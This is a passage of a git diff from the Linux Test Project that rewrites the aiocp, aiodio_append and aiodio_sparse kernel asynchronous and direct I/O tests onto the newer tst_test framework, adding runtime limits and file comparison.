async I/O state machine. * - * Usage: aiocp [-b blksize] -n [num_aio] [-w] [-z] [-s filesize] - * [-f DIRECT|TRUNC|CREAT|SYNC|LARGEFILE] src dest + * - Start read request + * - When read completes turn it into a write request + * - When write completes decrement counter and free up resources */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "config.h" -#include "tst_res_flags.h" +#include "tst_test.h" #ifdef HAVE_LIBAIO #include +#include +#include +#include +#include "common.h" + +#include "tst_rand_data.h" + +static const char *srcname = "srcfile.bin"; +static const char *dstname = "dstfile.bin"; + +static char *str_aio_blksize; +static char *str_filesize; +static char *str_aionum; +static char *str_oflag; + +static long long aio_blksize = 64 * 1024; +static long long filesize = 1 * 1024 * 1024; +static long long alignment; +static int aionum = 16; +static int srcflags = O_RDONLY; +static int dstflags = O_WRONLY; + +static int srcfd; +static int dstfd; +static long long busy; +static long long tocopy; +static struct iocb **iocb_free; +static int iocb_free_count; + +#ifndef howmany +# define howmany(x, y) (((x) + ((y) - 1)) / (y)) +#endif -#define AIO_BLKSIZE (64*1024) -#define AIO_MAXIO 32 +static void fill_with_rand_data(int fd, long long size) +{ + long long i = size; -static int aio_blksize = AIO_BLKSIZE; -static int aio_maxio = AIO_MAXIO; + while (i > 0) { + SAFE_WRITE(1, fd, tst_rand_data, + MIN((long long)tst_rand_data_len, i)); + i -= tst_rand_data_len; + } + SAFE_FSYNC(fd); +} -static int busy = 0; // # of I/O's in flight -static int tocopy = 0; // # of blocks left to copy -static int srcfd; // source fd -static int srcfd2; // source fd - end of file non-sector -static int dstfd = -1; // destination file descriptor -static int dstfd2 = -1; // Handle end of file for non-sector size -static const char *dstname = NULL; -static const char *srcname = NULL; -static int source_open_flag = O_RDONLY; /* open flags on source file */ -static int dest_open_flag = O_WRONLY; /* open flags on dest file */ -static int no_write; /* do not write */ -static int zero; /* write zero's only */ +static void async_init(void) +{ + int i; + char *buff; -static int debug; -static int count_io_q_waits; /* how many time io_queue_wait called */ + iocb_free = SAFE_MALLOC(aionum * sizeof(struct iocb *)); + for (i = 0; i < aionum; i++) { + iocb_free[i] = SAFE_MALLOC(sizeof(struct iocb)); + buff = SAFE_MEMALIGN(alignment, aio_blksize); -struct iocb **iocb_free; /* array of pointers to iocb */ -int iocb_free_count; /* current free count */ -int alignment = 512; /* buffer alignment */ + io_prep_pread(iocb_free[i], -1, buff, aio_blksize, 0); + } -struct timeval delay; /* delay between i/o */ + iocb_free_count = i; +} -static int dev_block_size_by_path(const char *path) +static struct iocb *get_iocb(void) { - FILE *f; - struct mntent *mnt; - size_t prefix_len, prefix_max = 0; - char dev_name[1024]; - int fd, size; - - if (!path) - return 0; - - f = setmntent("/proc/mounts", "r"); - if (!f) { - fprintf(stderr, "Failed to open /proc/mounts\n"); + if (!iocb_free_count) return 0; - } - while ((mnt = getmntent(f))) { - /* Skip pseudo fs */ - if (mnt->mnt_fsname[0] != '/') - continue; + return iocb_free[--iocb_free_count]; +} - prefix_len = strlen(mnt->mnt_dir); +static void put_iocb(struct iocb *io) +{ + iocb_free[iocb_free_count++] = io; +} - if (prefix_len > prefix_max && - !strncmp(path, mnt->mnt_dir, prefix_len)) { - prefix_max = prefix_len; - strncpy(dev_name, mnt->mnt_fsname, sizeof(dev_name)); - dev_name[sizeof(dev_name)-1] = '\0'; - } - } +static void async_write_done(LTP_ATTRIBUTE_UNUSED io_context_t ctx, struct iocb *iocb, long res, long res2) +{ + int iosize = iocb->u.c.nbytes; - endmntent(f); + if (res != iosize) + tst_brk(TBROK, "Write missing bytes expect %d got %ld", iosize, res); - if (!prefix_max) { - fprintf(stderr, "Path '%s' not found in /proc/mounts\n", path); - return 0; - } - - printf("Path '%s' is on device '%s'\n", path, dev_name); + if (res2 != 0) + tst_brk(TBROK, "Write error: %s", tst_strerrno(-res2)); - fd = open(dev_name, O_RDONLY); - if (!fd) { - fprintf(stderr, "open('%s'): %s\n", dev_name, strerror(errno)); - return 0; - } + put_iocb(iocb); - if (ioctl(fd, BLKSSZGET, &size)) { - fprintf(stderr, "ioctl(BLKSSZGET): %s\n", strerror(errno)); - close(fd); - return 0; - } + --busy; + --tocopy; - close(fd); - printf("'%s' has block size %i\n", dev_name, size); + if (dstflags & O_DIRECT) + SAFE_FSYNC(dstfd); - return size; + if (!tst_remaining_runtime()) + tst_brk(TCONF, "Out of runtime!"); } -int init_iocb(int n, int iosize) +static void async_copy(io_context_t ctx, struct iocb *iocb, long res, long res2) { - void *buf; - int i; + int iosize = iocb->u.c.nbytes; + char *buf = iocb->u.c.buf; + off_t offset = iocb->u.c.offset; + int w; - if ((iocb_free = malloc(n * sizeof(struct iocb *))) == 0) { - return -1; - } + if (res != iosize) + tst_brk(TBROK, "Read missing bytes expect %d got %ld", iosize, res); - for (i = 0; i < n; i++) { - if (! - (iocb_free[i] = malloc(sizeof(struct iocb)))) - return -1; - if (posix_memalign(&buf, alignment, iosize)) - return -1; - if (debug > 1) { - printf("buf allocated at 0x%p, align:%d\n", - buf, alignment); - } - if (zero) { - /* - * We are writing zero's to dstfd - */ - memset(buf, 0, iosize); - } - io_prep_pread(iocb_free[i], -1, buf, iosize, 0); - } - iocb_free_count = i; - return 0; -} + if (res2 != 0) + tst_brk(TBROK, "Read error: %s", tst_strerrno(-res2)); -static struct iocb *alloc_iocb(void) -{ - if (!iocb_free_count) - return 0; - return iocb_free[--iocb_free_count]; -} + io_prep_pwrite(iocb, dstfd, buf, iosize, offset); + io_set_callback(iocb, async_write_done); -void free_iocb(struct iocb *io) -{ - iocb_free[iocb_free_count++] = io; + w = io_submit(ctx, 1, &iocb); + if (w < 0) + tst_brk(TBROK, "io_submit error: %s", tst_strerrno(-w)); } -/* - * io_wait_run() - wait for an io_event and then call the callback. - */ -int io_wait_run(io_context_t ctx, struct timespec *to) +static void io_wait_run(io_context_t ctx, struct timespec *to) { - struct io_event events[aio_maxio]; + struct io_event events[aionum]; struct io_event *ep; - int ret, n; + int n; - /* - * get up to aio_maxio events at a time. - */ - ret = n = io_getevents(ctx, 1, aio_maxio, events, to); + n = io_getevents(ctx, 1, aionum, events, to); + if (n < 0) + tst_brk(TBROK, "io_getevents() failed: %s", tst_strerrno(-n)); - /* - * Call the callback functions for each event. - */ for (ep = events; n-- > 0; ep++) { io_callback_t cb = (io_callback_t) ep->data; struct iocb *iocb = ep->obj; - if (debug > 1) { - fprintf(stderr, "ev:%p iocb:%p res:%ld res2:%ld\n", - ep, iocb, ep->res, ep->res2); - } cb(ctx, iocb, ep->res, ep->res2); } - return ret; } -/* Fatal error handler */ -static void io_error(const char *func, int rc) +static void async_run(io_context_t ctx, int fd, io_callback_t cb) { - if (rc == -ENOSYS) - fprintf(stderr, "AIO not in this kernel\n"); - else if (rc < 0) - fprintf(stderr, "%s: %s\n", func, strerror(-rc)); - else - fprintf(stderr, "%s: error %d\n", func, rc); + long long offset = 0; + int rc, i, n; + int iosize; - if (dstfd > 0) - close(dstfd); - if (dstname && dest_open_flag & O_CREAT) - unlink(dstname); - exit(1); -} + tocopy = filesize / aio_blksize; + busy = 0; -/* - * Write complete callback. - * Adjust counts and free resources - */ -static void wr_done(io_context_t ctx, struct iocb *iocb, long res, long res2) -{ - if (res2 != 0) { - io_error("aio write", res2); - } - if (res != iocb->u.c.nbytes) { - fprintf(stderr, "write missed bytes expect %lu got %ld\n", - iocb->u.c.nbytes, res); - exit(1); + while (tocopy > 0) { + n = MIN(aionum - busy, tocopy); + + if (n > 0) { + struct iocb *ioq[n]; + + for (i = 0; i < n; i++) { + struct iocb *io = get_iocb(); + + iosize = MIN(filesize - offset, aio_blksize); + + /* If we don't have any byte to write, exit */ + if (iosize <= 0) + break; + + io_prep_pread(io, fd, io->u.c.buf, iosize, offset); + io_set_callback(io, cb); + + ioq[i] = io; + offset += iosize; + } + + rc = io_submit(ctx, i, ioq); + if (rc < 0) + tst_brk(TBROK, "io_submit write error: %s", tst_strerrno(-rc)); + + busy += n; + } + + io_wait_run(ctx, 0); } - --tocopy; - --busy; - free_iocb(iocb); - if (debug) - write(2, "w", 1); } -/* - * Read complete callback. - * Change read iocb into a write iocb and start it. - */ -static void rd_done(io_context_t ctx, struct iocb *iocb, long res, long res2) +static void setup(void) { - /* library needs accessors to look at iocb? */ - int iosize = iocb->u.c.nbytes; - char *buf = iocb->u.c.buf; - off_t offset = iocb->u.c.offset; + int maxaio; + long long leftover; - if (res2 != 0) - io_error("aio read", res2); - if (res != iosize) { - fprintf(stderr, "read missing bytes expect %lu got %ld\n", - iocb->u.c.nbytes, res); - exit(1); + if (tst_parse_int(str_aionum, &aionum, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of I/O '%s'", str_aionum); + + SAFE_FILE_SCANF("/proc/sys/fs/aio-max-nr", "%d", &maxaio); + tst_res(TINFO, "Maximum AIO blocks: %d", maxaio); + + if (aionum > maxaio) + tst_res(TCONF, "Number of async IO blocks passed the maximum (%d)", maxaio); + + if (tst_parse_filesize(str_aio_blksize, &aio_blksize, 1, LLONG_MAX)) + tst_brk(TBROK, "Invalid write blocks size '%s'", str_aio_blksize); + + if (str_oflag) { + if (strncmp(str_oflag, "SYNC", 4) == 0) { + dstflags |= O_SYNC; + } else if (strncmp(str_oflag, "DIRECT", 6) == 0) { + if (tst_fs_type(".") == TST_TMPFS_MAGIC) + tst_brk(TCONF, "O_DIRECT not supported on tmpfs"); + + srcflags |= O_DIRECT; + dstflags |= O_DIRECT; + } } - /* turn read into write */ - if (no_write) { - --tocopy; - --busy; - free_iocb(iocb); - } else { - int fd; - if (iocb->aio_fildes == srcfd) - fd = dstfd; - else - fd = dstfd2; - io_prep_pwrite(iocb, fd, buf, iosize, offset); - io_set_callback(iocb, wr_done); - if (1 != (res = io_submit(ctx, 1, &iocb))) - io_error("io_submit write", res); + if (tst_fs_type(".") == TST_TMPFS_MAGIC) + alignment = getpagesize(); + else + alignment = tst_dev_block_size("."); + + if (dstflags & O_DIRECT && aio_blksize % alignment) + tst_brk(TCONF, "Block size is not multiple of drive block size"); + + if (tst_parse_filesize(str_filesize, &filesize, 1, LLONG_MAX)) + tst_brk(TBROK, "Invalid file size '%s'", str_filesize); + + leftover = filesize % aio_blksize; + + if (leftover > 0) { + filesize = filesize - leftover + aio_blksize; + + tst_res(TINFO, "Rounded filesize to the next block size multiple: %llu", filesize); } - if (debug) - write(2, "r", 1); - if (debug > 1) - printf("%d", iosize); -} -static void usage(void) -{ - fprintf(stderr, - "Usage: aiocp [-a align] [-s size] [-b blksize] [-n num_io]" - " [-f open_flag] SOURCE DEST\n" - "This copies from SOURCE to DEST using AIO.\n\n" - "Usage: aiocp [options] -w SOURCE\n" - "This does sequential AIO reads (no writes).\n\n" - "Usage: aiocp [options] -z DEST\n" - "This does sequential AIO writes of zeros.\n"); - - exit(1); + tst_res(TINFO, "Fill %s with random data", srcname); + + srcfd = SAFE_OPEN(srcname, (srcflags & ~O_DIRECT) | O_RDWR | O_CREAT, 0666); + fill_with_rand_data(srcfd, filesize); + SAFE_CLOSE(srcfd); } -/* - * Scale value by kilo, mega, or giga. - */ -long long scale_by_kmg(long long value, char scale) +static void cleanup(void) { - switch (scale) { - case 'g': - case 'G': - value *= 1024; - case 'm': - case 'M': - value *= 1024; - case 'k': - case 'K': - value *= 1024; - break; - case '\0': - break; - default: - usage(); - break; - } - return value; + if (srcfd > 0) + SAFE_CLOSE(srcfd); + + if (dstfd > 0) + SAFE_CLOSE(dstfd); } -int main(int argc, char *const *argv) +static void run(void) { - struct stat st; - off_t length = 0, offset = 0; - off_t leftover = 0; + const int buffsize = 4096; io_context_t myctx; - int c; - extern char *optarg; - extern int optind, opterr, optopt; - - while ((c = getopt(argc, argv, "a:b:df:n:s:wzD:")) != -1) { - char *endp; - - switch (c) { - case 'a': /* alignment of data buffer */ - alignment = strtol(optarg, &endp, 0); - alignment = (long)scale_by_kmg((long long)alignment, - *endp); - break; - case 'f': /* use these open flags */ - if (strcmp(optarg, "LARGEFILE") == 0 || - strcmp(optarg, "O_LARGEFILE") == 0) { - source_open_flag |= O_LARGEFILE; - dest_open_flag |= O_LARGEFILE; - } else if (strcmp(optarg, "TRUNC") == 0 || - strcmp(optarg, "O_TRUNC") == 0) { - dest_open_flag |= O_TRUNC; - } else if (strcmp(optarg, "SYNC") == 0 || - strcmp(optarg, "O_SYNC") == 0) { - dest_open_flag |= O_SYNC; - } else if (strcmp(optarg, "DIRECT") == 0 || - strcmp(optarg, "O_DIRECT") == 0) { - source_open_flag |= O_DIRECT; - dest_open_flag |= O_DIRECT; - } else if (strncmp(optarg, "CREAT", 5) == 0 || - strncmp(optarg, "O_CREAT", 5) == 0) { - dest_open_flag |= O_CREAT; - } - break; - case 'd': - debug++; - break; - case 'D': - delay.tv_usec = atoi(optarg); - break; - case 'b': /* block size */ - aio_blksize = strtol(optarg, &endp, 0); - aio_blksize = - (long)scale_by_kmg((long long)aio_blksize, *endp); - break; - - case 'n': /* num io */ - aio_maxio = strtol(optarg, &endp, 0); - break; - case 's': /* size to transfer */ - length = strtoll(optarg, &endp, 0); - length = scale_by_kmg(length, *endp); - break; - case 'w': /* no write */ - no_write = 1; - break; - case 'z': /* write zero's */ - zero = 1; - break; - - default: - usage(); - } - } + struct stat st; + char srcbuff[buffsize]; + char dstbuff[buffsize]; + int reads = 0; + int i, r; - argc -= optind; - argv += optind; + srcfd = SAFE_OPEN(srcname, srcflags | O_RDWR | O_CREAT, 0666); + dstfd = SAFE_OPEN(dstname, dstflags | O_WRONLY | O_CREAT, 0666); - if (argc < 1) { - usage(); - } - if (!zero) { - if ((srcfd = open(srcname = *argv, source_open_flag)) < 0) { - perror(srcname); - exit(1); - } - argv++; - argc--; - if (fstat(srcfd, &st) < 0) { - perror("fstat"); - exit(1); - } - if (length == 0) - length = st.st_size; - } + tst_res(TINFO, "Copy %s -> %s", srcname, dstname); - if (!no_write) { - /* - * We are either copying or writing zeros to dstname - */ - if (argc < 1) { - usage(); - } - if ((dstfd = open(dstname = *argv, dest_open_flag, 0666)) < 0) { - perror(dstname); - exit(1); - } - if (zero) { - /* - * get size of dest, if we are zeroing it. - * TODO: handle devices. - */ - if (fstat(dstfd, &st) < 0) { - perror("fstat"); - exit(1); - } - if (length == 0) - length = st.st_size; - } - } - /* - * O_DIRECT cannot handle non-sector sizes - */ - if (dest_open_flag & O_DIRECT) { - int src_alignment = dev_block_size_by_path(srcname); - int dst_alignment = dev_block_size_by_path(dstname); - - /* - * Given we expect the block sizes to be multiple of 2 the - * larger is always divideable by the smaller, so we only need - * to care about maximum. - */ - if (src_alignment > dst_alignment) - dst_alignment = src_alignment; - - if (alignment < dst_alignment) { - alignment = dst_alignment; - printf("Forcing aligment to %i\n", alignment); - } + memset(&myctx, 0, sizeof(myctx)); + io_queue_init(aionum, &myctx); - if (aio_blksize % alignment) { - printf("Block size is not multiple of drive block size\n"); - printf("Skipping the test!\n"); - exit(0); - } + async_init(); + async_run(myctx, srcfd, async_copy); - leftover = length % alignment; - if (leftover) { - int flag; - - length -= leftover; - if (!zero) { - flag = source_open_flag & ~O_DIRECT; - srcfd2 = open(srcname, flag); - if (srcfd2 < 0) { - perror(srcname); - exit(1); - } - } - if (!no_write) { - flag = (O_SYNC | dest_open_flag) & - ~(O_DIRECT | O_CREAT); - dstfd2 = open(dstname, flag); - if (dstfd2 < 0) { - perror(dstname); - exit(1); - } - } - } - } + io_destroy(myctx); + SAFE_CLOSE(srcfd); + SAFE_CLOSE(dstfd); - /* initialize state machine */ - memset(&myctx, 0, sizeof(myctx)); - io_queue_init(aio_maxio, &myctx); - tocopy = howmany(length, aio_blksize); + tst_res(TINFO, "Comparing %s with %s", srcname, dstname); - if (init_iocb(aio_maxio, aio_blksize) < 0) { - fprintf(stderr, "Error allocating the i/o buffers\n"); - exit(1); + SAFE_STAT(dstname, &st); + if (st.st_size != filesize) { + tst_res(TFAIL, "Expected destination file size %lld but it's %ld", filesize, st.st_size); + /* no need to compare files */ + return; } - while (tocopy > 0) { - int i, rc; - /* Submit as many reads as once as possible upto aio_maxio */ - int n = MIN(MIN(aio_maxio - busy, aio_maxio), - howmany(length - offset, aio_blksize)); - if (n > 0) { - struct iocb *ioq[n]; - - for (i = 0; i < n; i++) { - struct iocb *io = alloc_iocb(); - int iosize = MIN(length - offset, aio_blksize); - - if (zero) { - /* - * We are writing zero's to dstfd - */ - io_prep_pwrite(io, dstfd, io->u.c.buf, - iosize, offset); - io_set_callback(io, wr_done); - } else { - io_prep_pread(io, srcfd, io->u.c.buf, - iosize, offset); - io_set_callback(io, rd_done); - } - ioq[i] = io; - offset += iosize; - } + srcfd = SAFE_OPEN(srcname, O_RDONLY, 0666); + dstfd = SAFE_OPEN(dstname, O_RDONLY, 0666); - rc = io_submit(myctx, n, ioq); - if (rc < 0) - io_error("io_submit", rc); + reads = howmany(filesize, buffsize); - busy += n; - if (debug > 1) - printf("io_submit(%d) busy:%d\n", n, busy); - if (delay.tv_usec) { - struct timeval t = delay; - (void)select(0, 0, 0, 0, &t); - } - } - - /* - * We have submitted all the i/o requests. Wait for at least one to complete - * and call the callbacks. - */ - count_io_q_waits++; - rc = io_wait_run(myctx, 0); - if (rc < 0) - io_error("io_wait_run", rc); - - if (debug > 1) { - printf("io_wait_run: rc == %d\n", rc); - printf("busy:%d aio_maxio:%d tocopy:%d\n", - busy, aio_maxio, tocopy); + for (i = 0; i < reads; i++) { + r = SAFE_READ(0, srcfd, srcbuff, buffsize); + SAFE_READ(0, dstfd, dstbuff, buffsize); + if (memcmp(srcbuff, dstbuff, r)) { + tst_res(TFAIL, "Files are not identical"); + return; } } - if (leftover) { - /* non-sector size end of file */ - struct iocb *io = alloc_iocb(); - int rc; - if (zero) { - /* - * We are writing zero's to dstfd2 - */ - io_prep_pwrite(io, dstfd2, io->u.c.buf, - leftover, offset); - io_set_callback(io, wr_done); - } else { - io_prep_pread(io, srcfd2, io->u.c.buf, - leftover, offset); - io_set_callback(io, rd_done); - } - rc = io_submit(myctx, 1, &io); - if (rc < 0) - io_error("io_submit", rc); - count_io_q_waits++; - rc = io_wait_run(myctx, 0); - if (rc < 0) - io_error("io_wait_run", rc); - } + tst_res(TPASS, "Files are identical"); - if (srcfd != -1) - close(srcfd); - if (dstfd != -1) - close(dstfd); - exit(0); + SAFE_CLOSE(srcfd); + SAFE_CLOSE(dstfd); } -/* - * Results look like: - * [alanm@toolbox ~/MOT3]$ ../taio -d kernel-source-2.4.8-0.4g.ppc.rpm abc - * rrrrrrrrrrrrrrrwwwrwrrwwrrwrwwrrwrwrwwrrwrwrrrrwwrwwwrrwrrrwwwwwwwwwwwwwwwww - * rrrrrrrrrrrrrrwwwrrwrwrwrwrrwwwwwwwwwwwwwwrrrrrrrrrrrrrrrrrrwwwwrwrwwrwrwrwr - * wrrrrrrrwwwwwwwwwwwwwrrrwrrrwrrwrwwwwwwwwwwrrrrwwrwrrrrrrrrrrrwwwwwwwwwwwrww - * wwwrrrrrrrrwwrrrwwrwrwrwwwrrrrrrrwwwrrwwwrrwrwwwwwwwwrrrrrrrwwwrrrrrrrwwwwww - * wwwwwwwrwrrrrrrrrwrrwrrwrrwrwrrrwrrrwrrrwrwwwwwwwwwwwwwwwwwwrrrwwwrrrrrrrrrr - * rrwrrrrrrwrrwwwwwwwwwwwwwwwwrwwwrrwrwwrrrrrrrrrrrrrrrrrrrwwwwwwwwwwwwwwwwwww - * rrrrrwrrwrwrwrrwrrrwwwwwwwwrrrrwrrrwrwwrwrrrwrrwrrrrwwwwwwwrwrwwwwrwwrrrwrrr - * rrrwwwwwwwrrrrwwrrrrrrrrrrrrwrwrrrrwwwwwwwwwwwwwwrwrrrrwwwwrwrrrrwrwwwrrrwww - * rwwrrrrrrrwrrrrrrrrrrrrwwwwrrrwwwrwrrwwwwwwwwwwwwwwwwwwwwwrrrrrrrwwwwwwwrw - */ - +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .max_runtime = 1800, + .needs_root = 1, + .options = (struct tst_option[]) { + {"b:", &str_aio_blksize, "Size of writing blocks (default 1K)"}, + {"s:", &str_filesize, "Size of file (default 10M)"}, + {"n:", &str_aionum, "Number of Async IO blocks (default 16)"}, + {"f:", &str_oflag, "Open flag: SYNC | DIRECT (default O_CREAT only)"}, + {}, + }, +}; #else -int main(void) -{ - fprintf(stderr, "test requires libaio and it's development packages\n"); - return TCONF; -} +TST_TEST_TCONF("test requires libaio and its development packages"); #endif diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_append.c b/testcases/kernel/io/ltp-aiodio/aiodio_append.c index 46cc74ee..45e96879 100755 --- a/testcases/kernel/io/ltp-aiodio/aiodio_append.c +++ b/testcases/kernel/io/ltp-aiodio/aiodio_append.c @@ -24,7 +24,7 @@ #include #include "common.h" -static int *run_child; +static volatile int *run_child; static char *str_numchildren; static char *str_writesize; @@ -133,7 +133,7 @@ static void cleanup(void) { if (run_child) { *run_child = 0; - SAFE_MUNMAP(run_child, sizeof(int)); + SAFE_MUNMAP((void *)run_child, sizeof(int)); } } @@ -141,7 +141,7 @@ static void run(void) { char *filename = "aiodio_append"; int status; - int i; + int i, pid; *run_child = 1; @@ -152,9 +152,27 @@ static void run(void) } } - tst_res(TINFO, "Parent append to file"); + pid = SAFE_FORK(); + if (!pid) { + aiodio_append(filename, appends, alignment, writesize, numaio); + return; + } + + tst_res(TINFO, "Child %i appends to a file", pid); + + for (;;) { + if (SAFE_WAITPID(pid, NULL, WNOHANG)) + break; - aiodio_append(filename, appends, alignment, writesize, numaio); + sleep(1); + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test out of runtime, exiting"); + kill(pid, SIGKILL); + SAFE_WAITPID(pid, NULL, 0); + break; + } + } if (SAFE_WAITPID(-1, &status, WNOHANG)) tst_res(TFAIL, "Non zero bytes read"); @@ -172,6 +190,7 @@ static struct tst_test test = { .cleanup = cleanup, .needs_tmpdir = 1, .forks_child = 1, + .max_runtime = 1800, .options = (struct tst_option[]) { {"n:", &str_numchildren, "Number of threads (default 16)"}, {"s:", &str_writesize, "Size of the file to write (default 64K)"}, diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c index 4767f49d..595c7622 100755 --- a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c +++ b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2004 Daniel McNeil * 2004 Open Source Development Lab @@ -5,333 +6,246 @@ * Copyright (c) 2004 Marty Ridgeway * * Copyright (c) 2011 Cyril Hrubis + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Create a sparse file and write zeroes to it using libaio while other + * processes are doing buffered reads and check if the buffer reads always see + * zero. */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#include "config.h" -#include "test.h" -#include "safe_macros.h" - -char *TCID = "aiodio_sparse"; -int TST_TOTAL = 1; +#include "tst_test.h" #ifdef HAVE_LIBAIO +#include +#include +#include #include +#include "common.h" -#define NUM_CHILDREN 1000 +static volatile int *run_child; -int debug; -int fd; +static char *str_numchildren; +static char *str_writesize; +static char *str_filesize; +static char *str_numaio; -static void setup(void); -static void cleanup(void); -static void usage(void); +static int numchildren = 16; +static long long writesize = 1024; +static long long filesize = 100 * 1024 * 1024; +static long long alignment; +static int numaio = 16; -#include "common_sparse.h" +static void check_event(struct io_event event) +{ + struct iocb *iocbp; -/* - * do async DIO writes to a sparse file - */ -int aiodio_sparse(int fd, int align, int writesize, int filesize, int num_aio) + iocbp = (struct iocb *)event.obj; + if (event.res2 != 0 || event.res != iocbp->u.c.nbytes) { + tst_brk(TBROK, "AIO write offset %lld expected %ld got %ld", + iocbp->u.c.offset, iocbp->u.c.nbytes, event.res); + } +} + +static void aiodio_sparse(char *filename, long long align, long long ws, + long long fs, int naio) { + int fd; int i, w; struct iocb **iocbs; + struct iocb *iocb; off_t offset; io_context_t myctx; struct io_event event; int aio_inflight; - if ((num_aio * writesize) > filesize) - num_aio = filesize / writesize; + fd = SAFE_OPEN(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666); + SAFE_FTRUNCATE(fd, fs); memset(&myctx, 0, sizeof(myctx)); - io_queue_init(num_aio, &myctx); + io_queue_init(naio, &myctx); - iocbs = malloc(sizeof(struct iocb *) * num_aio); - for (i = 0; i < num_aio; i++) { - if ((iocbs[i] = malloc(sizeof(struct iocb))) == 0) { - tst_resm(TBROK | TERRNO, "malloc()"); - return 1; - } - } + iocbs = SAFE_MALLOC(sizeof(struct iocb *) * naio); + iocb = SAFE_MALLOC(sizeof(struct iocb) * naio); + + for (i = 0; i < naio; i++) + iocbs[i] = iocb + i; - /* - * allocate the iocbs array and iocbs with buffers - */ offset = 0; - for (i = 0; i < num_aio; i++) { + for (i = 0; i < naio; i++) { void *bufptr; - TEST(posix_memalign(&bufptr, align, writesize)); - if (TEST_RETURN) { - tst_resm(TBROK | TRERRNO, "cannot allocate aligned memory"); - return 1; - } - memset(bufptr, 0, writesize); - io_prep_pwrite(iocbs[i], fd, bufptr, writesize, offset); - offset += writesize; - } - - /* - * start the 1st num_aio write requests - */ - if ((w = io_submit(myctx, num_aio, iocbs)) < 0) { - tst_resm(TBROK, "io_submit() returned %i", w); - return 1; + bufptr = SAFE_MEMALIGN(align, ws); + memset(bufptr, 0, ws); + io_prep_pwrite(iocbs[i], fd, bufptr, ws, offset); + offset += ws; } - if (debug) - tst_resm(TINFO, "io_submit() returned %d", w); + w = io_submit(myctx, naio, iocbs); + if (w < 0) + tst_brk(TBROK, "io_submit: %s", tst_strerrno(-w)); - /* - * As AIO requests finish, keep issuing more AIO until done. - */ - aio_inflight = num_aio; + aio_inflight = naio; - while (offset < filesize) { + while (offset < fs) { int n; struct iocb *iocbp; - if (debug) - tst_resm(TINFO, - "aiodio_sparse: offset %p filesize %d inflight %d", - &offset, filesize, aio_inflight); + n = io_getevents(myctx, 1, 1, &event, 0); - if ((n = io_getevents(myctx, 1, 1, &event, 0)) != 1) { - if (-n != EINTR) - tst_resm(TBROK, "io_getevents() returned %d", - n); - break; - } + if (-n == EINTR) + continue; - if (debug) - tst_resm(TINFO, - "aiodio_sparse: io_getevent() returned %d", n); + if (n != 1) + tst_brk(TBROK, "io_getevents: %s", tst_strerrno(-n)); aio_inflight--; - /* - * check if write succeeded. - */ - iocbp = (struct iocb *)event.obj; - if (event.res2 != 0 || event.res != iocbp->u.c.nbytes) { - tst_resm(TBROK, - "AIO write offset %lld expected %ld got %ld", - iocbp->u.c.offset, iocbp->u.c.nbytes, - event.res); - break; - } - - if (debug) - tst_resm(TINFO, - "aiodio_sparse: io_getevent() res %ld res2 %ld", - event.res, event.res2); + check_event(event); /* start next write */ - io_prep_pwrite(iocbp, fd, iocbp->u.c.buf, writesize, offset); - offset += writesize; - if ((w = io_submit(myctx, 1, &iocbp)) < 0) { - tst_resm(TBROK, "io_submit failed at offset %ld", - offset); - break; - } + iocbp = (struct iocb *)event.obj; - if (debug) - tst_resm(TINFO, "io_submit() return %d", w); + io_prep_pwrite(iocbp, fd, iocbp->u.c.buf, ws, offset); + offset += ws; + w = io_submit(myctx, 1, &iocbp); + if (w < 0) + tst_brk(TBROK, "io_submit: %s", tst_strerrno(-w)); aio_inflight++; } - /* - * wait for AIO requests in flight. - */ while (aio_inflight > 0) { int n; - struct iocb *iocbp; - if ((n = io_getevents(myctx, 1, 1, &event, 0)) != 1) { - tst_resm(TBROK, "io_getevents failed"); - break; - } + n = io_getevents(myctx, 1, 1, &event, 0); + + if (-n == EINTR) + continue; + + if (n != 1) + tst_brk(TBROK, "io_getevents failed"); + aio_inflight--; - /* - * check if write succeeded. - */ - iocbp = (struct iocb *)event.obj; - if (event.res2 != 0 || event.res != iocbp->u.c.nbytes) { - tst_resm(TBROK, - "AIO write offset %lld expected %ld got %ld", - iocbp->u.c.offset, iocbp->u.c.nbytes, - event.res); - } + + check_event(event); } - return 0; + free(iocb); + free(iocbs); } -static void usage(void) +static void setup(void) { - fprintf(stderr, "usage: dio_sparse [-n children] [-s filesize]" - " [-w writesize]\n"); - exit(1); -} + struct stat sb; -int main(int argc, char **argv) -{ - char *filename = "aiodio_sparse"; - int pid[NUM_CHILDREN]; - int num_children = 1; - int i; - long alignment = 512; - int writesize = 65536; - int filesize = 100 * 1024 * 1024; - int num_aio = 16; - int children_errors = 0; - int c; - int ret; - - while ((c = getopt(argc, argv, "dw:n:a:s:i:")) != -1) { - char *endp; - switch (c) { - case 'd': - debug++; - break; - case 'i': - num_aio = atoi(optarg); - break; - case 'a': - alignment = strtol(optarg, &endp, 0); - alignment = (int)scale_by_kmg((long long)alignment, - *endp); - break; - case 'w': - writesize = strtol(optarg, &endp, 0); - writesize = - (int)scale_by_kmg((long long)writesize, *endp); - break; - case 's': - filesize = strtol(optarg, &endp, 0); - filesize = - (int)scale_by_kmg((long long)filesize, *endp); - break; - case 'n': - num_children = atoi(optarg); - if (num_children > NUM_CHILDREN) { - fprintf(stderr, - "number of children limited to %d\n", - 